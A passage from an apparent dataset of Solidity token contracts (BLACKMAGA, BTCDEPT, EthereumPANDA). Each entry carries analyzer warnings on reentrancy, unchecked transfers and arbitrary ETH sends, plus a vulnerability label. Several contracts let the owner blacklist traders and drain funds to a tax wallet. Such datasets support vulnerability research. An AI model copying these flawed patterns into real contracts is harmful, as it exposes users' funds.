reentrancy-events | ID: 0f1e0e1\n\t\t// reentrancy-events | ID: 5aab25f\n\t\t// reentrancy-benign | ID: c7446fa\n\t\t// reentrancy-eth | ID: a40e065\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0f1e0e1\n\t\t// reentrancy-events | ID: 5aab25f\n\t\t// reentrancy-eth | ID: a40e065\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f42063c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f42063c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3b24094): BLACKMAGA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3b24094: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 14f2d99): BLACKMAGA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 14f2d99: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 76dfe1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 76dfe1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f42063c\n\t\t// reentrancy-eth | ID: 76dfe1d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f42063c\n\t\t// unused-return | ID: 14f2d99\n\t\t// reentrancy-eth | ID: 76dfe1d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f42063c\n\t\t// unused-return | ID: 3b24094\n\t\t// reentrancy-eth | ID: 76dfe1d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f42063c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 76dfe1d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1007.sol",
"size_bytes": 19918,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BTCDEPT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7ec00bc): BTCDEPT.bots is never initialized. It is used in BTCDEPT._transfer(address,address,uint256)\n\t// Recommendation for 7ec00bc: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6dc57d8): BTCDEPT._taxWallet should be immutable \n\t// Recommendation for 6dc57d8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1c416e): BTCDEPT._initialBuyTax should be constant \n\t// Recommendation for d1c416e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 929e73a): BTCDEPT._initialSellTax should be constant \n\t// Recommendation for 929e73a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01147ae): BTCDEPT._reduceBuyTaxAt should be constant \n\t// Recommendation for 01147ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5e1650): BTCDEPT._reduceSellTaxAt should be constant \n\t// Recommendation for f5e1650: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f0d39b): BTCDEPT._preventSwapBefore should be constant \n\t// Recommendation for 2f0d39b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bitcoin Treasury Commission\";\n\n string private constant _symbol = unicode\"BTC\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae6a17c): BTCDEPT._taxSwapThreshold should be constant \n\t// Recommendation for ae6a17c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 448ed77): BTCDEPT._maxTaxSwap should be constant \n\t// Recommendation for 448ed77: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c5bb5c0): BTCDEPT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c5bb5c0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f9a8bdc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f9a8bdc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: edad293): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for edad293: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f9a8bdc\n\t\t// reentrancy-benign | ID: edad293\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f9a8bdc\n\t\t// reentrancy-benign | ID: edad293\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ff8ef4): BTCDEPT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3ff8ef4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: edad293\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f9a8bdc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bca1853): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bca1853: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7ec00bc): BTCDEPT.bots is never initialized. It is used in BTCDEPT._transfer(address,address,uint256)\n\t// Recommendation for 7ec00bc: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9cb6fd6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9cb6fd6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bca1853\n\t\t\t\t// reentrancy-eth | ID: 9cb6fd6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bca1853\n\t\t\t\t\t// reentrancy-eth | ID: 9cb6fd6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9cb6fd6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9cb6fd6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9cb6fd6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bca1853\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9cb6fd6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9cb6fd6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bca1853\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f9a8bdc\n\t\t// reentrancy-events | ID: bca1853\n\t\t// reentrancy-benign | ID: edad293\n\t\t// reentrancy-eth | ID: 9cb6fd6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 019072f): BTCDEPT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 019072f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f9a8bdc\n\t\t// reentrancy-events | ID: bca1853\n\t\t// reentrancy-eth | ID: 9cb6fd6\n\t\t// arbitrary-send-eth | ID: 019072f\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 43d905d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 43d905d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c2a408b): BTCDEPT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c2a408b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b89d587): BTCDEPT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b89d587: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a9e6d31): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a9e6d31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 43d905d\n\t\t// reentrancy-eth | ID: a9e6d31\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 43d905d\n\t\t// unused-return | ID: b89d587\n\t\t// reentrancy-eth | ID: a9e6d31\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 43d905d\n\t\t// unused-return | ID: c2a408b\n\t\t// reentrancy-eth | ID: a9e6d31\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 43d905d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a9e6d31\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 5f44740): BTCDEPT.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 5f44740: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 5f44740\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10070.sol",
"size_bytes": 21131,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract EthereumPANDA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1cf0316): EthereumPANDA._taxWallet should be immutable \n\t// Recommendation for 1cf0316: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3940b9): EthereumPANDA._initialBuyTax should be constant \n\t// Recommendation for c3940b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6484321): EthereumPANDA._initialSellTax should be constant \n\t// Recommendation for 6484321: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fc390d): EthereumPANDA._finalBuyTax should be constant \n\t// Recommendation for 6fc390d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70c31ac): EthereumPANDA._finalSellTax should be constant \n\t// Recommendation for 70c31ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e2e4a15): EthereumPANDA._reduceBuyTaxAt should be constant \n\t// Recommendation for e2e4a15: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: af9e6aa): EthereumPANDA._reduceSellTaxAt should be constant \n\t// Recommendation for af9e6aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcf7adf): EthereumPANDA._preventSwapBefore should be constant \n\t// Recommendation for bcf7adf: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ethereum Panda\";\n\n string private constant _symbol = unicode\"ETHPanda\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e5474): EthereumPANDA._taxSwapThreshold should be constant \n\t// Recommendation for 33e5474: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 361352c): EthereumPANDA._maxTaxSwap should be constant \n\t// Recommendation for 361352c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f6d26a0): EthereumPANDA.uniswapV2Router should be immutable \n\t// Recommendation for f6d26a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d1c79b): EthereumPANDA.uniswapV2Pair should be immutable \n\t// Recommendation for 4d1c79b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58d53e3): EthereumPANDA.sellsPerBlock should be constant \n\t// Recommendation for 58d53e3: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e3dc0e): EthereumPANDA.buysFirstBlock should be constant \n\t// Recommendation for 9e3dc0e: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = 